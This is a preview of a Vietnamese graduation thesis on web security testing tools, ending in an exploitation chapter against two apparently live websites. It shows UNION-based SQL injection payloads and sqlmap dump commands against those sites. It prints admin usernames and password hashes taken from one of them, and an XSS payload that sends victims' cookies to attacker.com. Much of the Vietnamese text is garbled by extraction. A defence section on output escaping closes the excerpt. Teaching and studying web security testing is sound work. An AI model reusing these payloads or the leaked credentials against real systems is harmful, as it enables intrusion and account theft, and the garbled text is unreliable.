Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 104 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
104
Dung lượng
9,41 MB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP TÌM HIỂU MỘT SỐ CÔNG CỤ KIỂM THỬ BẢO MẬT ỨNG DỤNG (WEB HOẶC MOBILE HOẶC CÁC LOẠI ỨNG DỤNG KHÁC) VÀ MINH HỌA Ngành: An tồn thơng tin Mã số: 7.48.02.02 Sinh viên thực hiện: Nguyễn Thị Thúy Kiều Lớp: AT14K Người hướng dẫn: TS Ngô Thanh Hùng Đại học Công nghiệp Thực phẩm Tp Hồ Chí Minh h Hồ Chí Minh, 2022 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP TÌM HIỂU MỘT SỐ CÔNG CỤ KIỂM THỬ BẢO MẬT ỨNG DỤNG (WEB HOẶC MOBILE HOẶC CÁC LOẠI ỨNG DỤNG KHÁC) VÀ MINH HỌA Ngành: An tồn thơng tin Mã số: 7.48.02.02 Sinh viên thực hiện: Nguyễn Thị Thúy Kiều Lớp: AT14K Người hướng dẫn: TS Ngô Thanh Hùng Đại học Công nghiệp Thực phẩm Tp Hồ Chí Minh h Hồ Chí Minh, 2022 h LỜI CAM ĐOAN Tôi xin cam đoan nội dung đề tài “Tìm hiểu số cơng cụ kiểm thử bảo mật ứng dụng (web mobile loại ứng dụng khác) minh họa” cơng trình nghiên cứu hướng dẫn TS Ngô Thanh Hùng Các tài liệu sử dụng luận án hồn tồn trung thực, có nguồn gốc rõ ràng Ngồi luận văn cịn sử dụng số tài liệu dẫn chứng từ số nguồn đề cập phần trích dẫn tài liệu tham khảo Nếu phát sai phạm gian dối nội dung đề tài, tơi xin chịu hồn toàn trách nhiệm theo quy định Học viện Thành phố Hồ Chí Minh, Ngày 17 tháng 12 năm 2022 Sinh viên thực Nguyễn Thị Thúy Kiều i h LỜI CẢM ƠN Lời đầu tiên, em xin chân thành cảm ơn q thầy giáo Khoa An tồn Thông tin trường Học viện Kỹ thuật Mật mã tận tình giảng dạy, bảo, cung cấp nhiều kiến thức quý báu tạo nhiều điều kiện thuận lợi cho em thực đồ án tốt nghiệp Đặc biệt em xin bày tỏ lòng biết ơn chân thành đến thầy Ngơ Thanh Hùng tận tình hướng dẫn, bảo, hỗ trợ tạo điều kiện cho em suốt trình thực đồ án Trong thời gian thực đồ án em học hỏi từ thầy nhiều, từ kiến thức đề tài thái độ làm việc, tinh thần học hỏi trách nhiệm công việc thầy Mặc dù cố gắng nhiều để hoàn thành đồ án chắn em tránh khỏi thiếu sót Em mong nhận đóng góp ý kiến thơng cảm từ q thầy cô MỤC LỤC ii h LỜI CAM ĐOAN .i LỜI CẢM ƠN ii MỤC LỤC iii CÁC KÝ HIỆU, CHỮ VIẾT TẮT vi DANH MỤC HÌNH VẼ vii DANH MỤC BẢNG ix LỜI MỞ ĐẦU CHƯƠNG 1: TÌM HIỂU CÁC LỖ HỔNG BẢO MẬT TRÊN ỨNG DỤNG WEB 1.1 Tổng quan ứng dụng web 1.1.1 Định nghĩa 1.1.2 Tình trạng bảo mật ứng dụng web .3 1.1.3 Sự khác Website Web app 1.1.4 Nguyên lý hoạt động ứng dụng web 1.2 Các lỗ hổng phổ biến ứng dụng web 1.2.1 SQL Injection 1.2.2 Cross-Site Scripting (XSS) .8 1.2.3 Command Injection 1.2.4 Cross-Site Request Forgery (CSRF) .10 1.2.5 Server-Side Request Forgery (SSRF) .11 1.2.6 Server-Side Template Injection (SSTI) 12 1.2.7 Insecure Deserialize 13 1.2.8 Directory traversal 13 1.2.9 Insecure Direct Object References (IDOR) 14 1.2.10.Open redirect 15 iii h 1.2.11 HTTP request smuggling 16 1.2.12 Sensitive data exposure 16 1.2.13.Missing function level access control 17 1.2.14.Security Misconfiguration .18 1.2.15 Broken Authentication 18 CHƯƠNG 2: TÌM HIỂU CÁC CƠNG CỤ KIỂM THỬ ỨNG DỤNG WEB 20 2.1 Tìm hiểu phương pháp quy trình kiểm thử .20 2.1.1 Phương pháp kiểm thử bảo mật 20 2.1.2 Quy trình kiểm thử bảo mật ứng dụng web 21 2.1.3 Quy trình đánh giá an toàn ứng dụng web 22 2.2 Một số công cụ phổ biến 22 2.2.1 Công cụ Burp Suite 22 2.2.2 Acunetix 26 2.2.3 Nessus .34 2.2.4 SQLmap 38 2.2.5 Nmap 41 2.2.6 Dirsearch 46 CHƯƠNG III: SỬ DỤNG CÔNG CỤ ĐỂ KIỂM THỬ ỨNG DỤNG WEB VÀ ĐỀ XUẤT PHƯƠNG PHÁP PHÒNG THỦ 49 3.1 Sử dụng Burp Scanner để tìm lỗ hổng bảo mật .49 3.2 Sử dụng Acunetix để tìm lỗ hổng bảo mật ứng dụng web .61 3.3 So sánh đánh giá kết 73 3.4 Khai thác lỗ hổng vừa tìm 74 3.4.1 Khai thác lỗ hổng website quanlyhocvien.club .75 iv h 3.4.2 Khai thác lỗ hổng website twatch.vn 82 3.5 Đề xuất phương pháp phòng thủ 87 CHƯƠNG 4: KẾT LUẬN .91 TÀI LIỆU THAM KHẢO .92 v h CÁC KÝ HIỆU, CHỮ VIẾT TẮT Viết tắt Tiếng Anh HTML HyperText Markup Language HTTP Hypertext Transfer Protocol XML Extensible Markup Language XSS Cross-Site Scripting vi h DANH MỤC HÌNH VẼ Hình Burp Suite hiển thị địa web vừa truy cập 50 Hình Chỉ định trang web cần kiểm thử tùy chọn Scope 51 Hình Các thiết lập Tab Scan details 51 Hình Các thiết lập tùy chọn Scan Configuration 52 Hình Kết sau Burp Suite scan trang web quanlyhocvien.club 53 Hình Danh sách lỗ hổng tìm thấy sau Burp Suite scan 54 Hình Chi tiết lỗ hổng XSS (reflected) 55 Hình Chi tiết lỗ hổng SQL injection 55 Hình Chi tiết lỗ hổng Cleartext submission of password 56 Hình 10 Cây thư mục trang web 56 Hình 11 Kết sau kiểm thử website twatch.vn 57 Hình 12 Danh sách lỗ hổng website twatch.vn 58 Hình 13 Cấu trúc thư mục website twatch.vn 58 Hình 14 Chi tiết lỗ hổng SQL injection 59 Hình 15 Chi tiết lỗ hổng XSS 59 Hình 16 Chi tiết lỗ hổng Client-side desync 60 Hình 17 Chi tiết lỗ hổng Python code injection .60 Hình 18 Giao diện đăng nhập Acunetix 62 Hình 19 Giao diện Acunetix sau đăng nhập thành cơng 62 Hình 20 Thiết lập Target cần kiểm thử 63 Hình 21 Các tùy chọn Scan 64 Hình 22 Quá trình Scan diễn 65 Hình 23 Kết scan Acunetix thu thập .66 Hình 24 Các lỗ hổng xếp theo cấp độ 67 Hình 25 Chi tiết lỗ hổng Blind SQL Injection 68 Hình 26 Chi tiết lỗ hổng Cross site scripting 68 vii h http://quanlyhocvien.club/message.php?id=233’ union select 1,2,3,4,5,6,7 - Như vậy, chèn câu lệnh truy vấn vào vị trí cột số lấy kết trả Tiếp tục sử dụng mã khai thác sau để lấy version database: http://quanlyhocvien.club/message.php?id=233’ union select 1,2,3,version(),5,6,7 - Version database 5.7.40-0ubuntu0.18.04.1 Tiếp tục lấy tên toàn database: http://quanlyhocvien.club/message.php?id=233' union 1,2,3,database(),5,6,7 - 78 h select Tên database website sử dụng demo * Khai thác lỗi SQL Injection tự động công cụ SQLMap Sau phát lỗi SQL Injection chức gửi tin nhắn, sử dụng công cụ SQLMap để tự động khai thác cách dùng lệnh sau: python sqlmap.py -u http://quanlyhocvien.club/message.php? id=22 –dbs Sau cơng cụ SQLMap tự động tìm parameter dính lỗi, tự động khai thác hiển thị danh sách database Lúc có database demo information_scheme Tiếp tục sử dụng option -D để chọn tên database sử dụng option tables để lấy danh sách bảng 79 h python sqlmap.py -u http://quanlyhocvien.club/message.php? id=22 -D demo tables Có tổng cộng bảng, tiếp tục dùng option -T để chọn bảng user, sau dùng option dump để dump toàn liệu bảng Cơng cụ SQLMap cung cấp tính tự động brute force để tìm mật gặp mật băm thuật toán MD5, SHA1, SHA256 python sqlmap.py -u http://quanlyhocvien.club/message.php? id=22 -D demo -T user dump 80 h Khai thác lỗ hổng XSS: Thực chèn mã khai thác sau phần Nhập lời nhắn chức Gửi tin nhắn Ngay mã javascript thực thi tạo hộp thoại thông báo tên miền website alert(origin) Tiếp tục chèn mã sau để lấy cookie nạn nhân, sử dụng chức Burp Collaborator để làm server nhận request từ trình duyệt nạn nhân để lấy cookie 81 h var i=new Image;i.src="http://attacker.com/?"+document.cookie; 3.4.2 Khai thác lỗ hổng website twatch.vn Khai thác lỗi SQL Injection: Ở chức tìm kiếm, thực nhập từ khóa tìm kiếm dấu nháy đơn (‘), website trả thông báo lỗi cú pháp câu lệnh truy vấn 82 h Câu lệnh truy vấn SQL mà website sử dụng là: select * from sanpham where status='0' and ten like '%input %' order by ordernum desc,id desc Tiếp tục sử dụng payload sau để lấy số cột bảng sanpham: ‘ order by 20 - web trả kết tìm kiếm bình thường ‘ order by 21 - web trả thông báo lỗi Bảng sanpham có 20 cột Tiếp tục sử dụng union select để trích xuất thơng tin từ database test' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 - 83 h Chọn vị trí cột thứ để trích xuất liệu Để lấy tên database sử dụng payload sau, với lệnh database() chèn vào vị trí cột thứ test' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 - Lấy tên database twatchvn_d Lấy tên toàn bảng database twatchvn_d test' union select 1,2,(select group_concat(table_name) from information_schema.tables where 84 h table_schema='twatchvn_d'),4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20 - Lấy toàn tài khoản admin từ bảng tbladmin test' union select 1,2,(select group_concat(concat(username,0x7c,password)) from tbladmin),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 - Danh sách tài khoản lấy Username admin hpsoft twatch.vn Password c91e7d756d857ddf9d83ef83118e2a3f ccd239d470be16ce6b73522d8f5230f8 0b0dc9e7b0622dbd5ac356e1db87d0e a 85 h Khai thác lỗi XSS: Nhập payload vào phần từ khóa tìm kiếm, sau nhấn vào nút Tìm kiếm alert(origin) Tiếp tục chèn mã sau để lấy cookie nạn nhân, sử dụng chức Burp Collaborator để làm server nhận request từ trình duyệt nạn nhân để lấy cookie var i=new Image;i.src="http://attacker.com/?"+document.cookie; 86 h 3.5 Đề xuất phương pháp phòng thủ Lỗ hổng XSS Dựa kết dò quét lỗ hổng hai cơng cụ, thấy trang web bị lỗ hổng XSS Để chống lỗi XSS, liệu trước trả trình duyệt cần xử lý hàm htmlspecialchars - File message.php Gửi tin nhắn cho while($row = $result->fetch_assoc()) { echo ''.$row["id"].''.($row["from_id"] == $user["id"] ? htmlspecialchars($user["fullname"]) : htmlspecialchars($receive_user["fullname"])).''.htmlspecialchars($ro w["content"]).''.date('H:i:s d-m-Y', $row["created_at"]).'Sửa class="btn btn-danger btn-xs" Xóa';} - File profile.php Tên tài khoản